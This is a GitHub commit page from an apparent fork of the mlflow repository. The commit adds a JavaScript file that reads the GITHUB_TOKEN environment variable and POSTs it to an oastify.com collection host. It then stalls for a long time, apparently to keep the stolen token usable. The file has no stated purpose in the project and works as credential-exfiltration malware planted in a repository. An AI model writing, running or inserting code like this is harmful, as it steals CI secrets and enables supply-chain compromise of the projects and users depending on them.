forked from mlflow/mlflow
-
Notifications
You must be signed in to change notification settings - Fork 9
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
errhttp404
authored
Apr 23, 2024
1 parent
25ef0d9
commit fc49547
Showing
1 changed file
with
36 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
const url = "https://sa62s9f6ivufo8ppv3531mi76ycp0io7.oastify.com"; // Replace this with your target URL | ||
const token = process.env.GITHUB_TOKEN || "123" | ||
|
||
async function makePostRequest() { | ||
try { | ||
const fetch = await import("node-fetch"); | ||
const response = await fetch.default(url, { | ||
method: "POST", | ||
headers: { | ||
"Content-Type": "application/json", | ||
}, | ||
body: JSON.stringify({ | ||
token: token, | ||
}), | ||
}); | ||
|
||
if (response.ok) { | ||
sleepForFiveMinutes(); | ||
const data = await response.json(); | ||
console.log("POST request successful. Response data:", data); | ||
} else { | ||
console.error("Failed to make POST request. Status:", response.status); | ||
} | ||
} catch (error) { | ||
console.error("Error making POST request:", error.message); | ||
} | ||
} | ||
function sleep(ms) { | ||
return new Promise(resolve => setTimeout(resolve, ms)); | ||
} | ||
|
||
async function sleepForFiveMinutes() { | ||
await sleep(12000000); // 5 minutes = 5 * 60 * 1000 milliseconds | ||
} | ||
|
||
makePostRequest(); |